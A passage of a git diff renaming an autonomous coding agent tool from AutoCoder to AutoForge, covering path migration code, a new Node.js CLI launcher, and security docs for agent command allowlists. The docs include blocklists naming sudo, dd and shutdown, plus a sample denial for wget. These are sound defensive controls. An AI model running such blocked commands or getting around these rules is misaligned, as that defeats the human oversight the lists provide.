The agent tried to run a command not in the allowlist. This is the security system working as intended. If needed, add the command to `ALLOWED_COMMANDS` in `security.py`.
|
||||
|
||||
**"Python 3.11+ required but not found"**
|
||||
Install Python 3.11 or later from [python.org](https://www.python.org/downloads/). Make sure `python3` (or `python` on Windows) is on your PATH.
|
||||
|
||||
**"Python venv module not available"**
|
||||
On Debian/Ubuntu, the venv module is packaged separately. Install it with `sudo apt install python3.XX-venv` (replace `XX` with your Python minor version, e.g., `python3.12-venv`).
|
||||
|
||||
**"AutoForge is already running"**
|
||||
A server instance is already active. Use the browser URL shown in the terminal, or stop the existing instance with Ctrl+C first.
|
||||
|
||||
**Virtual environment issues after a Python upgrade**
|
||||
Run `autoforge --repair` to delete and recreate the virtual environment from scratch.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
@@ -183,7 +183,7 @@ class ScheduleOverride(Base):
|
||||
|
||||
def get_database_path(project_dir: Path) -> Path:
|
||||
"""Return the path to the SQLite database for a project."""
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
return get_features_db_path(project_dir)
|
||||
|
||||
|
||||
@@ -385,7 +385,7 @@ def create_database(project_dir: Path) -> tuple:
|
||||
|
||||
db_url = get_database_url(project_dir)
|
||||
|
||||
# Ensure parent directory exists (for .autocoder/ layout)
|
||||
# Ensure parent directory exists (for .autoforge/ layout)
|
||||
db_path = get_database_path(project_dir)
|
||||
db_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
"""
|
||||
Autocoder Path Resolution
|
||||
AutoForge Path Resolution
|
||||
=========================
|
||||
|
||||
Central module for resolving paths to autocoder-generated files within a project.
|
||||
Central module for resolving paths to autoforge-generated files within a project.
|
||||
|
||||
Implements a dual-path resolution strategy for backward compatibility:
|
||||
Implements a tri-path resolution strategy for backward compatibility:
|
||||
|
||||
1. Check ``project_dir / ".autocoder" / X`` (new layout)
|
||||
2. Check ``project_dir / X`` (legacy root-level layout)
|
||||
3. Default to the new location for fresh projects
|
||||
1. Check ``project_dir / ".autoforge" / X`` (current layout)
|
||||
2. Check ``project_dir / ".autocoder" / X`` (legacy layout)
|
||||
3. Check ``project_dir / X`` (legacy root-level layout)
|
||||
4. Default to the new location for fresh projects
|
||||
|
||||
This allows existing projects with root-level ``features.db``, ``.agent.lock``,
|
||||
etc. to keep working while new projects store everything under ``.autocoder/``.
|
||||
etc. to keep working while new projects store everything under ``.autoforge/``.
|
||||
Projects using the old ``.autocoder/`` directory are auto-migrated on next start.
|
||||
|
||||
The ``migrate_project_layout`` function can move an old-layout project to the
|
||||
new layout safely, with full integrity checks for SQLite databases.
|
||||
@@ -25,10 +27,10 @@ from pathlib import Path
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# .gitignore content written into every .autocoder/ directory
|
||||
# .gitignore content written into every .autoforge/ directory
|
||||
# ---------------------------------------------------------------------------
|
||||
_GITIGNORE_CONTENT = """\
|
||||
# Autocoder runtime files
|
||||
# AutoForge runtime files
|
||||
features.db
|
||||
features.db-wal
|
||||
features.db-shm
|
||||
@@ -49,15 +51,18 @@ assistant.db-shm
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _resolve_path(project_dir: Path, filename: str) -> Path:
|
||||
"""Resolve a file path using dual-path strategy.
|
||||
"""Resolve a file path using tri-path strategy.
|
||||
|
||||
Checks the new ``.autocoder/`` location first, then falls back to the
|
||||
legacy root-level location. If neither exists, returns the new location
|
||||
so that newly-created files land in ``.autocoder/``.
|
||||
Checks the new ``.autoforge/`` location first, then the legacy
|
||||
``.autocoder/`` location, then the root-level location. If none exist,
|
||||
returns the new location so that newly-created files land in ``.autoforge/``.
|
||||
"""
|
||||
new = project_dir / ".autocoder" / filename
|
||||
new = project_dir / ".autoforge" / filename
|
||||
if new.exists():
|
||||
return new
|
||||
legacy = project_dir / ".autocoder" / filename
|
||||
if legacy.exists():
|
||||
return legacy
|
||||
old = project_dir / filename
|
||||
if old.exists():
|
||||
return old
|
||||
@@ -65,14 +70,17 @@ def _resolve_path(project_dir: Path, filename: str) -> Path:
|
||||
|
||||
|
||||
def _resolve_dir(project_dir: Path, dirname: str) -> Path:
|
||||
"""Resolve a directory path using dual-path strategy.
|
||||
"""Resolve a directory path using tri-path strategy.
|
||||
|
||||
Same logic as ``_resolve_path`` but intended for directories such as
|
||||
``prompts/``.
|
||||
"""
|
||||
new = project_dir / ".autocoder" / dirname
|
||||
new = project_dir / ".autoforge" / dirname
|
||||
if new.exists():
|
||||
return new
|
||||
legacy = project_dir / ".autocoder" / dirname
|
||||
if legacy.exists():
|
||||
return legacy
|
||||
old = project_dir / dirname
|
||||
if old.exists():
|
||||
return old
|
||||
@@ -80,27 +88,27 @@ def _resolve_dir(project_dir: Path, dirname: str) -> Path:
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# .autocoder directory management
|
||||
# .autoforge directory management
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def get_autocoder_dir(project_dir: Path) -> Path:
|
||||
"""Return the ``.autocoder`` directory path. Does NOT create it."""
|
||||
return project_dir / ".autocoder"
|
||||
def get_autoforge_dir(project_dir: Path) -> Path:
|
||||
"""Return the ``.autoforge`` directory path. Does NOT create it."""
|
||||
return project_dir / ".autoforge"
|
||||
|
||||
|
||||
def ensure_autocoder_dir(project_dir: Path) -> Path:
|
||||
"""Create the ``.autocoder/`` directory (if needed) and write its ``.gitignore``.
|
||||
def ensure_autoforge_dir(project_dir: Path) -> Path:
|
||||
"""Create the ``.autoforge/`` directory (if needed) and write its ``.gitignore``.
|
||||
|
||||
Returns:
|
||||
The path to the ``.autocoder`` directory.
|
||||
The path to the ``.autoforge`` directory.
|
||||
"""
|
||||
autocoder_dir = get_autocoder_dir(project_dir)
|
||||
autocoder_dir.mkdir(parents=True, exist_ok=True)
|
||||
autoforge_dir = get_autoforge_dir(project_dir)
|
||||
autoforge_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
gitignore_path = autocoder_dir / ".gitignore"
|
||||
gitignore_path = autoforge_dir / ".gitignore"
|
||||
gitignore_path.write_text(_GITIGNORE_CONTENT, encoding="utf-8")
|
||||
|
||||
return autocoder_dir
|
||||
return autoforge_dir
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -154,9 +162,9 @@ def get_prompts_dir(project_dir: Path) -> Path:
|
||||
def get_expand_settings_path(project_dir: Path, uuid_hex: str) -> Path:
|
||||
"""Return the path for an ephemeral expand-session settings file.
|
||||
|
||||
These files are short-lived and always stored in ``.autocoder/``.
|
||||
These files are short-lived and always stored in ``.autoforge/``.
|
||||
"""
|
||||
return project_dir / ".autocoder" / f".claude_settings.expand.{uuid_hex}.json"
|
||||
return project_dir / ".autoforge" / f".claude_settings.expand.{uuid_hex}.json"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -166,8 +174,9 @@ def get_expand_settings_path(project_dir: Path, uuid_hex: str) -> Path:
|
||||
def has_agent_running(project_dir: Path) -> bool:
|
||||
"""Check whether any agent or dev-server lock file exists at either location.
|
||||
|
||||
Inspects both the legacy root-level paths and the new ``.autocoder/``
|
||||
paths so that a running agent is detected regardless of project layout.
|
||||
Inspects the legacy root-level paths, the old ``.autocoder/`` paths, and
|
||||
the new ``.autoforge/`` paths so that a running agent is detected
|
||||
regardless of project layout.
|
||||
|
||||
Returns:
|
||||
``True`` if any ``.agent.lock`` or ``.devserver.lock`` exists.
|
||||
@@ -176,8 +185,11 @@ def has_agent_running(project_dir: Path) -> bool:
|
||||
for name in lock_names:
|
||||
if (project_dir / name).exists():
|
||||
return True
|
||||
# Check both old and new directory names for backward compatibility
|
||||
if (project_dir / ".autocoder" / name).exists():
|
||||
return True
|
||||
if (project_dir / ".autoforge" / name).exists():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@@ -186,7 +198,7 @@ def has_agent_running(project_dir: Path) -> bool:
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||
"""Migrate a project from the legacy root-level layout to ``.autocoder/``.
|
||||
"""Migrate a project from the legacy root-level layout to ``.autoforge/``.
|
||||
|
||||
The migration is incremental and safe:
|
||||
|
||||
@@ -199,7 +211,7 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||
|
||||
Returns:
|
||||
A list of human-readable descriptions of what was migrated, e.g.
|
||||
``["prompts/ -> .autocoder/prompts/", "features.db -> .autocoder/features.db"]``.
|
||||
``["prompts/ -> .autoforge/prompts/", "features.db -> .autoforge/features.db"]``.
|
||||
An empty list means nothing was migrated (either everything is
|
||||
already migrated, or the agent is running).
|
||||
"""
|
||||
@@ -208,18 +220,31 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||
logger.warning("Migration skipped: agent or dev-server is running for %s", project_dir)
|
||||
return []
|
||||
|
||||
autocoder_dir = ensure_autocoder_dir(project_dir)
|
||||
migrated: list[str] = []
|
||||
# --- 0. Migrate .autocoder/ → .autoforge/ directory -------------------
|
||||
old_autocoder_dir = project_dir / ".autocoder"
|
||||
new_autoforge_dir = project_dir / ".autoforge"
|
||||
if old_autocoder_dir.exists() and old_autocoder_dir.is_dir() and not new_autoforge_dir.exists():
|
||||
try:
|
||||
old_autocoder_dir.rename(new_autoforge_dir)
|
||||
logger.info("Migrated .autocoder/ -> .autoforge/")
|
||||
migrated: list[str] = [".autocoder/ -> .autoforge/"]
|
||||
except Exception:
|
||||
logger.warning("Failed to migrate .autocoder/ -> .autoforge/", exc_info=True)
|
||||
migrated = []
|
||||
else:
|
||||
migrated = []
|
||||
|
||||
autoforge_dir = ensure_autoforge_dir(project_dir)
|
||||
|
||||
# --- 1. Migrate prompts/ directory -----------------------------------
|
||||
try:
|
||||
old_prompts = project_dir / "prompts"
|
||||
new_prompts = autocoder_dir / "prompts"
|
||||
new_prompts = autoforge_dir / "prompts"
|
||||
if old_prompts.exists() and old_prompts.is_dir() and not new_prompts.exists():
|
||||
shutil.copytree(str(old_prompts), str(new_prompts))
|
||||
shutil.rmtree(str(old_prompts))
|
||||
migrated.append("prompts/ -> .autocoder/prompts/")
|
||||
logger.info("Migrated prompts/ -> .autocoder/prompts/")
|
||||
migrated.append("prompts/ -> .autoforge/prompts/")
|
||||
logger.info("Migrated prompts/ -> .autoforge/prompts/")
|
||||
except Exception:
|
||||
logger.warning("Failed to migrate prompts/ directory", exc_info=True)
|
||||
|
||||
@@ -228,7 +253,7 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||
for db_name in db_names:
|
||||
try:
|
||||
old_db = project_dir / db_name
|
||||
new_db = autocoder_dir / db_name
|
||||
new_db = autoforge_dir / db_name
|
||||
if old_db.exists() and not new_db.exists():
|
||||
# Flush WAL to ensure all data is in the main database file
|
||||
conn = sqlite3.connect(str(old_db))
|
||||
@@ -263,8 +288,8 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||
wal_file = project_dir / f"{db_name}{suffix}"
|
||||
wal_file.unlink(missing_ok=True)
|
||||
|
||||
migrated.append(f"{db_name} -> .autocoder/{db_name}")
|
||||
logger.info("Migrated %s -> .autocoder/%s", db_name, db_name)
|
||||
migrated.append(f"{db_name} -> .autoforge/{db_name}")
|
||||
logger.info("Migrated %s -> .autoforge/%s", db_name, db_name)
|
||||
except Exception:
|
||||
logger.warning("Failed to migrate %s", db_name, exc_info=True)
|
||||
|
||||
@@ -279,11 +304,11 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||
for filename in simple_files:
|
||||
try:
|
||||
old_file = project_dir / filename
|
||||
new_file = autocoder_dir / filename
|
||||
new_file = autoforge_dir / filename
|
||||
if old_file.exists() and not new_file.exists():
|
||||
shutil.move(str(old_file), str(new_file))
|
||||
migrated.append(f"{filename} -> .autocoder/{filename}")
|
||||
logger.info("Migrated %s -> .autocoder/%s", filename, filename)
|
||||
migrated.append(f"{filename} -> .autoforge/{filename}")
|
||||
logger.info("Migrated %s -> .autoforge/%s", filename, filename)
|
||||
except Exception:
|
||||
logger.warning("Failed to migrate %s", filename, exc_info=True)
|
||||
|
||||
@@ -221,11 +221,11 @@ def main() -> None:
|
||||
print("Use an absolute path or register the project first.")
|
||||
return
|
||||
|
||||
# Migrate project layout to .autocoder/ if needed (idempotent, safe)
|
||||
from autocoder_paths import migrate_project_layout
|
||||
# Migrate project layout to .autoforge/ if needed (idempotent, safe)
|
||||
from autoforge_paths import migrate_project_layout
|
||||
migrated = migrate_project_layout(project_dir)
|
||||
if migrated:
|
||||
print(f"Migrated project files to .autocoder/: {', '.join(migrated)}", flush=True)
|
||||
print(f"Migrated project files to .autoforge/: {', '.join(migrated)}", flush=True)
|
||||
|
||||
# Parse batch testing feature IDs (comma-separated string -> list[int])
|
||||
testing_feature_ids: list[int] | None = None
|
||||
@@ -263,6 +263,17 @@ def main() -> None:
|
||||
)
|
||||
else:
|
||||
# Entry point mode - always use unified orchestrator
|
||||
# Clean up stale temp files before starting (prevents temp folder bloat)
|
||||
from temp_cleanup import cleanup_stale_temp
|
||||
cleanup_stats = cleanup_stale_temp()
|
||||
if cleanup_stats["dirs_deleted"] > 0 or cleanup_stats["files_deleted"] > 0:
|
||||
mb_freed = cleanup_stats["bytes_freed"] / (1024 * 1024)
|
||||
print(
|
||||
f"[CLEANUP] Removed {cleanup_stats['dirs_deleted']} dirs, "
|
||||
f"{cleanup_stats['files_deleted']} files ({mb_freed:.1f} MB freed)",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
from parallel_orchestrator import run_parallel_orchestrator
|
||||
|
||||
# Clamp concurrency to valid range (1-5)
|
||||
|
||||
3
bin/autoforge.js
Normal file
3
bin/autoforge.js
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/usr/bin/env node
|
||||
import { run } from '../lib/cli.js';
|
||||
run(process.argv.slice(2));
|
||||
@@ -382,7 +382,7 @@ def create_client(
|
||||
project_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Write settings to a file in the project directory
|
||||
from autocoder_paths import get_claude_settings_path
|
||||
from autoforge_paths import get_claude_settings_path
|
||||
settings_file = get_claude_settings_path(project_dir)
|
||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(settings_file, "w") as f:
|
||||
@@ -450,7 +450,7 @@ def create_client(
|
||||
|
||||
# Build environment overrides for API endpoint configuration
|
||||
# These override system env vars for the Claude CLI subprocess,
|
||||
# allowing AutoCoder to use alternative APIs (e.g., GLM) without
|
||||
# allowing AutoForge to use alternative APIs (e.g., GLM) without
|
||||
# affecting the user's global Claude Code settings
|
||||
sdk_env = {}
|
||||
for var in API_ENV_VARS:
|
||||
|
||||
@@ -7,7 +7,7 @@ subprocesses. Imported by both ``client.py`` (agent sessions) and
|
||||
``server/services/chat_constants.py`` (chat sessions) to avoid maintaining
|
||||
duplicate lists.
|
||||
|
||||
These allow autocoder to use alternative API endpoints (Ollama, GLM,
|
||||
These allow autoforge to use alternative API endpoints (Ollama, GLM,
|
||||
Vertex AI) without affecting the user's global Claude Code settings.
|
||||
"""
|
||||
|
||||
|
||||
@@ -179,7 +179,7 @@ To see what you can reduce:
|
||||
|
||||
```bash
|
||||
# Count commands by prefix
|
||||
grep "^ - name:" .autocoder/allowed_commands.yaml | \
|
||||
grep "^ - name:" .autoforge/allowed_commands.yaml | \
|
||||
sed 's/^ - name: //' | \
|
||||
cut -d' ' -f1 | \
|
||||
sort | uniq -c | sort -rn
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AutoCoder Security Configuration Examples
|
||||
# AutoForge Security Configuration Examples
|
||||
|
||||
This directory contains example configuration files for controlling which bash commands the autonomous coding agent can execute.
|
||||
|
||||
@@ -18,11 +18,11 @@ This directory contains example configuration files for controlling which bash c
|
||||
|
||||
### For a Single Project (Most Common)
|
||||
|
||||
When you create a new project with AutoCoder, it automatically creates:
|
||||
When you create a new project with AutoForge, it automatically creates:
|
||||
|
||||
```text
|
||||
my-project/
|
||||
.autocoder/
|
||||
.autoforge/
|
||||
allowed_commands.yaml ← Automatically created from template
|
||||
```
|
||||
|
||||
@@ -34,17 +34,17 @@ If you want commands available across **all projects**, manually create:
|
||||
|
||||
```bash
|
||||
# Copy the example to your home directory
|
||||
cp examples/org_config.yaml ~/.autocoder/config.yaml
|
||||
cp examples/org_config.yaml ~/.autoforge/config.yaml
|
||||
|
||||
# Edit it to add org-wide commands
|
||||
nano ~/.autocoder/config.yaml
|
||||
nano ~/.autoforge/config.yaml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Project-Level Configuration
|
||||
|
||||
**File:** `{project_dir}/.autocoder/allowed_commands.yaml`
|
||||
**File:** `{project_dir}/.autoforge/allowed_commands.yaml`
|
||||
|
||||
**Purpose:** Define commands needed for THIS specific project.
|
||||
|
||||
@@ -82,7 +82,7 @@ commands:
|
||||
|
||||
## Organization-Level Configuration
|
||||
|
||||
**File:** `~/.autocoder/config.yaml`
|
||||
**File:** `~/.autoforge/config.yaml`
|
||||
|
||||
**Purpose:** Define commands and policies for ALL projects.
|
||||
|
||||
@@ -127,13 +127,13 @@ When the agent tries to run a command, the system checks in this order:
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↓
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ 2. ORG BLOCKLIST (~/.autocoder/config.yaml) │
|
||||
│ 2. ORG BLOCKLIST (~/.autoforge/config.yaml) │
|
||||
│ Commands you block organization-wide │
|
||||
│ ❌ Projects CANNOT override these │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↓
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ 3. ORG ALLOWLIST (~/.autocoder/config.yaml) │
|
||||
│ 3. ORG ALLOWLIST (~/.autoforge/config.yaml) │
|
||||
│ Commands available to all projects │
|
||||
│ ✅ Automatically available │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
@@ -145,7 +145,7 @@ When the agent tries to run a command, the system checks in this order:
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↓
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ 5. PROJECT ALLOWLIST (.autocoder/allowed_commands) │
|
||||
│ 5. PROJECT ALLOWLIST (.autoforge/allowed_commands) │
|
||||
│ Project-specific commands │
|
||||
│ ✅ Available only to this project │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
@@ -195,7 +195,7 @@ Matches:
|
||||
|
||||
### iOS Development
|
||||
|
||||
**Project config** (`.autocoder/allowed_commands.yaml`):
|
||||
**Project config** (`.autoforge/allowed_commands.yaml`):
|
||||
```yaml
|
||||
version: 1
|
||||
commands:
|
||||
@@ -245,7 +245,7 @@ commands:
|
||||
|
||||
### Enterprise Organization (Restrictive)
|
||||
|
||||
**Org config** (`~/.autocoder/config.yaml`):
|
||||
**Org config** (`~/.autoforge/config.yaml`):
|
||||
```yaml
|
||||
version: 1
|
||||
|
||||
@@ -265,7 +265,7 @@ blocked_commands:
|
||||
|
||||
### Startup Team (Permissive)
|
||||
|
||||
**Org config** (`~/.autocoder/config.yaml`):
|
||||
**Org config** (`~/.autoforge/config.yaml`):
|
||||
```yaml
|
||||
version: 1
|
||||
|
||||
@@ -394,7 +394,7 @@ These commands are **NEVER allowed**, even with user approval:
|
||||
|
||||
**Solution:** Add the command to your project config:
|
||||
```yaml
|
||||
# In .autocoder/allowed_commands.yaml
|
||||
# In .autoforge/allowed_commands.yaml
|
||||
commands:
|
||||
- name: X
|
||||
description: What this command does
|
||||
@@ -405,7 +405,7 @@ commands:
|
||||
**Cause:** The command is in the org blocklist or hardcoded blocklist.
|
||||
|
||||
**Solution:**
|
||||
- If in org blocklist: Edit `~/.autocoder/config.yaml` to remove it
|
||||
- If in org blocklist: Edit `~/.autoforge/config.yaml` to remove it
|
||||
- If in hardcoded blocklist: Cannot be allowed (by design)
|
||||
|
||||
### Error: "Could not parse YAML config"
|
||||
@@ -422,8 +422,8 @@ commands:
|
||||
**Solution:**
|
||||
1. Restart the agent (changes are loaded on startup)
|
||||
2. Verify file location:
|
||||
- Project: `{project}/.autocoder/allowed_commands.yaml`
|
||||
- Org: `~/.autocoder/config.yaml` (must be manually created)
|
||||
- Project: `{project}/.autoforge/allowed_commands.yaml`
|
||||
- Org: `~/.autoforge/config.yaml` (must be manually created)
|
||||
3. Check YAML is valid (run through a YAML validator)
|
||||
|
||||
---
|
||||
@@ -432,7 +432,7 @@ commands:
|
||||
|
||||
### Running the Tests
|
||||
|
||||
AutoCoder has comprehensive tests for the security system:
|
||||
AutoForge has comprehensive tests for the security system:
|
||||
|
||||
**Unit Tests** (136 tests - fast):
|
||||
```bash
|
||||
@@ -481,7 +481,7 @@ python start.py
|
||||
cd path/to/security-test
|
||||
|
||||
# Edit the config
|
||||
nano .autocoder/allowed_commands.yaml
|
||||
nano .autoforge/allowed_commands.yaml
|
||||
```
|
||||
|
||||
**3. Add a test command (e.g., Swift):**
|
||||
@@ -509,7 +509,7 @@ Or:
|
||||
```text
|
||||
Command 'wget' is not allowed.
|
||||
To allow this command:
|
||||
1. Add to .autocoder/allowed_commands.yaml for this project, OR
|
||||
1. Add to .autoforge/allowed_commands.yaml for this project, OR
|
||||
2. Request mid-session approval (the agent can ask)
|
||||
```
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Organization-Level AutoCoder Configuration
|
||||
# Organization-Level AutoForge Configuration
|
||||
# ============================================
|
||||
# Location: ~/.autocoder/config.yaml
|
||||
# Location: ~/.autoforge/config.yaml
|
||||
#
|
||||
# IMPORTANT: This file is OPTIONAL and must be manually created by you.
|
||||
# It does NOT exist by default.
|
||||
@@ -22,7 +22,7 @@ version: 1
|
||||
# Organization-Wide Allowed Commands
|
||||
# ==========================================
|
||||
# These commands become available to ALL projects automatically.
|
||||
# Projects don't need to add them to their own .autocoder/allowed_commands.yaml
|
||||
# Projects don't need to add them to their own .autoforge/allowed_commands.yaml
|
||||
#
|
||||
# By default, this is empty. Uncomment and add commands as needed.
|
||||
|
||||
@@ -122,7 +122,7 @@ approval_timeout_minutes: 5
|
||||
# Default commands: npm, git, curl, ls, cat, etc.
|
||||
# Always available to all projects.
|
||||
#
|
||||
# 5. Project Allowed Commands (.autocoder/allowed_commands.yaml)
|
||||
# 5. Project Allowed Commands (.autoforge/allowed_commands.yaml)
|
||||
# Project-specific commands defined in each project.
|
||||
# LOWEST PRIORITY (can't override blocks above).
|
||||
#
|
||||
@@ -165,7 +165,7 @@ approval_timeout_minutes: 5
|
||||
# ==========================================
|
||||
# To Create This File
|
||||
# ==========================================
|
||||
# 1. Copy this example to: ~/.autocoder/config.yaml
|
||||
# 1. Copy this example to: ~/.autoforge/config.yaml
|
||||
# 2. Uncomment and customize the sections you need
|
||||
# 3. Leave empty lists if you don't need org-level controls
|
||||
#
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Project-Specific Allowed Commands
|
||||
# ==================================
|
||||
# Location: {project_dir}/.autocoder/allowed_commands.yaml
|
||||
# Location: {project_dir}/.autoforge/allowed_commands.yaml
|
||||
#
|
||||
# This file defines bash commands that the autonomous coding agent can use
|
||||
# for THIS SPECIFIC PROJECT, beyond the default allowed commands.
|
||||
#
|
||||
# When you create a new project, AutoCoder automatically creates this file
|
||||
# in your project's .autocoder/ directory. You can customize it for your
|
||||
# When you create a new project, AutoForge automatically creates this file
|
||||
# in your project's .autoforge/ directory. You can customize it for your
|
||||
# project's specific needs (iOS, Rust, Python, etc.).
|
||||
|
||||
version: 1
|
||||
@@ -115,7 +115,7 @@ commands: []
|
||||
# Limits:
|
||||
# - Maximum 100 commands per project
|
||||
# - Commands in the blocklist (sudo, dd, shutdown, etc.) can NEVER be allowed
|
||||
# - Org-level blocked commands (see ~/.autocoder/config.yaml) cannot be overridden
|
||||
# - Org-level blocked commands (see ~/.autoforge/config.yaml) cannot be overridden
|
||||
#
|
||||
# Default Allowed Commands (always available):
|
||||
# File operations: ls, cat, head, tail, wc, grep, cp, mkdir, mv, rm, touch
|
||||
|
||||
791
lib/cli.js
Normal file
791
lib/cli.js
Normal file
@@ -0,0 +1,791 @@
|
||||
/**
|
||||
* AutoForge CLI
|
||||
* =============
|
||||
*
|
||||
* Main CLI module for the AutoForge npm global package.
|
||||
* Handles Python detection, virtual environment management,
|
||||
* config loading, and uvicorn server lifecycle.
|
||||
*
|
||||
* Uses only Node.js built-in modules -- no external dependencies.
|
||||
*/
|
||||
|
||||
import { execFileSync, spawn, execSync } from 'node:child_process';
|
||||
import { createHash } from 'node:crypto';
|
||||
import { existsSync, readFileSync, writeFileSync, mkdirSync, unlinkSync, rmSync, copyFileSync } from 'node:fs';
|
||||
import { createRequire } from 'node:module';
|
||||
import { createServer } from 'node:net';
|
||||
import { homedir, platform } from 'node:os';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Path constants
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Root of the autoforge npm package (one level up from lib/) */
|
||||
const PKG_DIR = dirname(dirname(fileURLToPath(import.meta.url)));
|
||||
|
||||
/** User config home: ~/.autoforge/ */
|
||||
const CONFIG_HOME = join(homedir(), '.autoforge');
|
||||
|
||||
/** Virtual-environment directory managed by the CLI */
|
||||
const VENV_DIR = join(CONFIG_HOME, 'venv');
|
||||
|
||||
/** Composite marker written after a successful pip install */
|
||||
const DEPS_MARKER = join(VENV_DIR, '.deps-installed');
|
||||
|
||||
/** PID file for the running server */
|
||||
const PID_FILE = join(CONFIG_HOME, 'server.pid');
|
||||
|
||||
/** Path to the production requirements file inside the package */
|
||||
const REQUIREMENTS_FILE = join(PKG_DIR, 'requirements-prod.txt');
|
||||
|
||||
/** Path to the .env example shipped with the package */
|
||||
const ENV_EXAMPLE = join(PKG_DIR, '.env.example');
|
||||
|
||||
/** User .env config file */
|
||||
const ENV_FILE = join(CONFIG_HOME, '.env');
|
||||
|
||||
const IS_WIN = platform() === 'win32';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Package version (read lazily via createRequire)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
const { version: VERSION } = require(join(PKG_DIR, 'package.json'));
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Indented console output matching the spec format. */
|
||||
function log(msg = '') {
|
||||
console.log(` ${msg}`);
|
||||
}
|
||||
|
||||
/** Print a fatal error and exit. */
|
||||
function die(msg) {
|
||||
console.error(`\n Error: ${msg}\n`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a Python version string like "Python 3.13.6" and return
|
||||
* { major, minor, patch, raw } or null on failure.
|
||||
*/
|
||||
function parsePythonVersion(raw) {
|
||||
const m = raw.match(/Python\s+(\d+)\.(\d+)\.(\d+)/);
|
||||
if (!m) return null;
|
||||
return {
|
||||
major: Number(m[1]),
|
||||
minor: Number(m[2]),
|
||||
patch: Number(m[3]),
|
||||
raw: `${m[1]}.${m[2]}.${m[3]}`,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Try a single Python candidate. Returns { exe, version } or null.
|
||||
* `candidate` is either a bare name or an array of args (e.g. ['py', '-3']).
|
||||
*/
|
||||
function tryPythonCandidate(candidate) {
|
||||
const args = Array.isArray(candidate) ? candidate : [candidate];
|
||||
const exe = args[0];
|
||||
const extraArgs = args.slice(1);
|
||||
|
||||
try {
|
||||
const out = execFileSync(exe, [...extraArgs, '--version'], {
|
||||
encoding: 'utf8',
|
||||
timeout: 10_000,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
|
||||
const ver = parsePythonVersion(out);
|
||||
if (!ver) return null;
|
||||
|
||||
// Require 3.11+
|
||||
if (ver.major < 3 || (ver.major === 3 && ver.minor < 11)) {
|
||||
return { exe: args.join(' '), version: ver, tooOld: true };
|
||||
}
|
||||
|
||||
return { exe: args.join(' '), version: ver, tooOld: false };
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Python detection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Find a suitable Python >= 3.11 interpreter.
|
||||
*
|
||||
* Search order is platform-dependent:
|
||||
* Windows: python -> py -3 -> python3
|
||||
* macOS/Linux: python3 -> python
|
||||
*
|
||||
* The AUTOFORGE_PYTHON env var overrides automatic detection.
|
||||
*
|
||||
* After finding a candidate we also verify that the venv module is
|
||||
* available (Debian/Ubuntu strip it out of the base package).
|
||||
*/
|
||||
function findPython() {
|
||||
// Allow explicit override via environment variable
|
||||
const override = process.env.AUTOFORGE_PYTHON;
|
||||
if (override) {
|
||||
const result = tryPythonCandidate(override);
|
||||
if (!result) {
|
||||
die(`AUTOFORGE_PYTHON is set to "${override}" but it could not be executed.`);
|
||||
}
|
||||
if (result.tooOld) {
|
||||
die(
|
||||
`Python ${result.version.raw} found (via AUTOFORGE_PYTHON), but 3.11+ required.\n` +
|
||||
' Install Python 3.11+ from https://python.org'
|
||||
);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Platform-specific candidate order
|
||||
const candidates = IS_WIN
|
||||
? ['python', ['py', '-3'], 'python3']
|
||||
: ['python3', 'python'];
|
||||
|
||||
let bestTooOld = null;
|
||||
|
||||
for (const candidate of candidates) {
|
||||
const result = tryPythonCandidate(candidate);
|
||||
if (!result) continue;
|
||||
|
||||
if (result.tooOld) {
|
||||
